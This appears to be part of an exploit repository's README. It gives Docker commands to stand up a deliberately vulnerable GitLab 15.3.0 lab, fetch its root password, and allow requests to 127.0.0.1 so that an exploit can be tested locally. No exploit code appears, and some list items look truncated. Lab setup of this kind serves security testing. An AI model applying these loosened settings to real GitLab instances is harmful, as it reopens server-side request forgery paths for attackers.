A vulnerable application can be setup with the following commands.
export GITLAB_HOME=/srv/gitlab
docker run --detach --rm \
--hostname gitlab.example.com \
--publish 443:443 --publish 80:80 --publish 22:22 \
--name vuln-gitlab \
--volume $GITLAB_HOME/config:/etc/gitlab \
--volume $GITLAB_HOME/logs:/var/log/gitlab \
--volume $GITLAB_HOME/data:/var/opt/gitlab \
--shm-size 256m \
gitlab/gitlab-ce:15.3.0-ce.0
It might take a while before the Docker container starts to respond to queries. Then connect to http://localhost.
Sign in with the username root and the password from the following command.
docker exec -it vuln-gitlab grep 'Password:' /etc/gitlab/initial_root_password
To test the exploit locally, you have to add --network="host" to the docker run command and to remove constraints for outbound requests on GitLab:
127.0.0.1 to the "Local IP addresses and domain names that hooks and services may access" textbox;The prerequisite of the exploit is to have a private token on GitLab:
api scope.See the LICENSE file for details.
